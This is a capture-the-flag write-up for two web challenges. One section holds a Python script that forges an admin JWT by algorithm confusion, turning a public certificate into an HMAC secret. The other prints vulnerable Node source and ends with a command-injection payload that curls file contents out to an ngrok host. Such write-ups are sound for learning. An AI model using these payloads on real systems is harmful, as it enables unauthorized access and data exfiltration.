## Baby-web In this challenge, we need to extract the certificate's content to decrypt it and use it as the `HMAC secret` to create a `JWT` with the `role of admin` `script` ```python= import jwt import requests import base64 import re url = "http://chals.bitskrieg.in:3005" # Load the public key with open("public-key.crt", "r") as f: pem_data = f.read() # Remove the header and footer pem_body = re.sub(r"-----.*?-----", "", pem_data, flags=re.DOTALL).strip() # Decode from Base64 to raw bytes (HMAC secret key) hmac_secret = base64.b64decode(pem_body) token = jwt.encode( {"username": "admin", "role": "admin", "iat": 1739171309}, hmac_secret, algorithm="HS256" ) forged = f"Bearer {token}" print("[*] Forged Token:", forged) response = requests.get(url + "/admin", headers={"Authorization": forged}) print("[*] Server Response:", response.text) print(hmac_secret) print(token) ``` Docs : https://portswigger.net/web-security/jwt/algorithm-confusion ## BrokenCode `source` ```python= const express = require('express'); const { graphqlHTTP } = require('express-graphql'); const { graphqlUploadExpress, GraphQLUpload } = require('graphql-upload'); const fs = require('fs'); const path = require('path'); const { exec ,execSync} = require('child_process'); const app = express(); const mysql = require('mysql'); require('dotenv').config(); app.use(express.static('public')); const typeDefs = gql` scalar Upload type File { filename: String! mimetype: String! encoding: String! path: String! } type Query { _empty: String } type Mutation { uploadFile(file: Upload!, filename: String!): File! } `; const UPLOAD_DIR = path.join(__dirname, 'uploads'); const resolvers = { Upload: GraphQLUpload, Query: { _empty: () => 'Hello World', }, Mutation: { uploadFile: async (_, { file, filename }) => { const { createReadStream, mimetype, encoding } = await file; const filePath = path.join(UPLOAD_DIR, filename); if (fs.existsSync(filePath)) { console.log("File Exists") } else { await new Promise((resolve, reject) => { createReadStream() .pipe(fs.createWriteStream(filePath)) .on('finish', resolve) .on('error', reject); });} return { filename, mimetype, encoding, path: filePath }; }, }, }; app.use(express.static(path.join(__dirname, 'public'))); console.log(path.join(__dirname, 'public')); app.get('/', (req, res) => { res.sendFile(path.join(__dirname, 'public', 'index.html')); }); server.start().then(() => { server.applyMiddleware({ app }); app.use('/upload', graphqlHTTP({ resolvers, graphiql: true })); app.get('/execute', (req, res) => { const file = req.query.file; if (!file) { return res.status(400).send('Missing file parameter'); } const execPath = path.join(UPLOAD_DIR, file); exec(`su - rruser -c "node ${execPath}"`, (error, stdout, stderr) => { if (error) { try { execSync(`rm ${execPath}`); } catch (rmError) { console.error(`Failed to delete ${execPath}:`, rmError); } console.log(error) return res.status(500).send(`Error`); } if (stderr) { console.log(stderr) try { execSync(`rm ${execPath}`); } catch (rmError) { console.error(`Failed to delete ${execPath}:`, rmError); } return res.status(500).send(`Error`); } console.log(stdout); try { execSync(`rm ${execPath}`); } catch (rmError) { console.error(`Failed to delete ${execPath}:`, rmError); } return res.status(200).send(stdout); }); }); const PORT = 7000; app.listen(PORT, () => {}); }); ``` We can clearly see a command injection vulnerability in the source code. ```python= exec(`su - rruser -c "node ${execPath}"`... ``` Since the content will not be displayed, we aim to expose it through another channel, specifically `ngrok`. ``` ngrok http {port opening} ``` `final payload` ``` ;curl%20https://29ca-2-37-167-108.ngrok-free.app?flag=$(cat%20flag.txt) ```